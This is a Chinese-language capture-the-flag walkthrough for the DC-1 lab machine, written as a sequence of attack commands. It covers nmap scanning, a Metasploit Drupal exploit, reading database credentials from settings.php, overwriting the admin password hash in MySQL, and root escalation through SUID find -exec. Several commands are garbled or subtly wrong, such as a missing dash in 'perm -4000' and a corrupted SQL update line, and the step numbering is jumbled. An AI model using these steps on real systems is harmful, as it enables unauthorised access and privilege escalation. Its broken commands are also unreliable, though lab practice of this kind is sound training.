1.启动kali,使用nmap扫描。
2.访问靶机地址
nmap:
使用nmap带参数的扫描
nmap -A ip -p0-65535
确定该站点的 CMS 为 Drupal
使用msfconsole工具,运行MSF
使用网站的cms信息,在MSF中使用search drupal
3.找到了两个与 http 相关的模块,根据 Rank(等级)优先选择带颜色的模块,使用 use 2 装载模块。
4.使用 show options 查看需要进行的设置,发现只需要设置 RHOSTS(目标),所以使用 set RHOSTS
使用run运行模块
运行模块后,成功建立会话,使用shell即可拿到靶机的webshell
使用whoami查看当前用户的权限。
4.为了方便后面的操作,使用 python -c "import pty;pty.spawn('/bin/bash')" 实现交互式 Shell。
交互式 Shell:可以执行一些需要上下文的命令,并且会显示操作的结果。
使用 ls -al 浏览当前目录中所有的文件及其权限
发现了flag1.txt,并进行查看
每一个好的cms都需要一个配置文件,你也一样。
5.根据文件内容,百度搜索 Drupal 站点的默认配置文件,得知文件名为 settings.php 。
6.先使用 find /var/www/ -name settings.php 在网站目录下搜索 settings.php 文件。
7.成功搜索到settings.php 使用cat /sites/default/settings.php进行查看
8.查看后发现这个文件就是我们要找的第二个 flag,并且还发现了靶机数据库的账户和密码。
9.使用 mysql -u dbuser -pR0ck3t 尝试登录靶机数据库。
10.登录成功后,使用databases查看所有的数据库
11.根据库名进行判断,drupaldb 应该是靶机的 Drupal 站点使用的数据库。
14.12.使用 use drupaldb; 进入数据库,然后使用 show tables; 查看当前数据库中的所有表。
13.浏览表名后,发现一个 users表,猜测其可能保存着网站用户的信息。1
14.使用select * from user/G,纵向显示users表中的数据
15.找到了 admin(管理员)账号的密码,根据密码形式可以得知密码经过了加密。
16.得到密码密文后可以尝试进行解密或修改密码,搜索资料后发现这种加密是不可逆,并且 Drupal 提供了可以直接修改管理员密码的方法。在 /var/www/ 下使用 php scripts/password-hash.sh tkm 即可,生成tkm,这个字符串对应的hash值。
17.再次进入到数据库中,使用update drupaldkwsens set pass="hashwherecname='admin'即可修改admin的密码为之前生成Hash时使用的字符串,此处为tkm。
update drupaldb.users set pass="$S$DZhMUD9bEhyn4XKcfHQB3MzY19aFgUwBWbKLRCiv6eDD2llXybHv" where name='admin';
select * from drupaldb.users where name='admin'\G;
18.尝试使用admin:tkm登陆
19.成功使用管理员账户登录站点,看到最上方有一排选项,如果看不懂,就都试一次。
特殊权限将有助于查找密码 但您需要exec 命令才能确定如何获取阴影中的内容
21查看后发现文本内容中有两个特别的大写字母perms和find,根据此前flag的形式,使用find /name“flag*" 搜索所有开头为flag的文件。代尝试点击 Dashboard 选项,找到了 flag3.txt ,点击进行查看
22.成功找到flag4,并查看cat /home/flag4/flag4.txt
您可以使用相同的方法在root中查找或访问标志吗
23.根据 flag4.txt 中的内容,推测下一步需要进行提权,从而获得 root 权限,并访问 /root 目录,获得 flag5。
24.根据 flag3 中另外一个大写字母 perms ,猜测可能需要使用 SUID 提权,使用 find / -user root perm -4000 -print 2>/dev/null 查找所有具有 SUID 权限且属主为 root 的文件。
find / -user root perm -4000 -print 2>/dev/null
25.发现了 find 命令,并且根据 flag3 中提到的 -exec,可以确定需要使用 find 提权。
26.使用 touch tkm 创建提权需要的文件,然后使用 find tkm -exec '/bin/sh' \; 进行提权。
27.成功获得root权限,根据提示使用cd root访问/root目录,找到了thefinalflag.txt文件并查看。
做得好!!!!
希望你喜欢这个并学到了一些新技能。“您可以通过年witter与我联系,让我知道您对这段小旅程的看法@DCAU7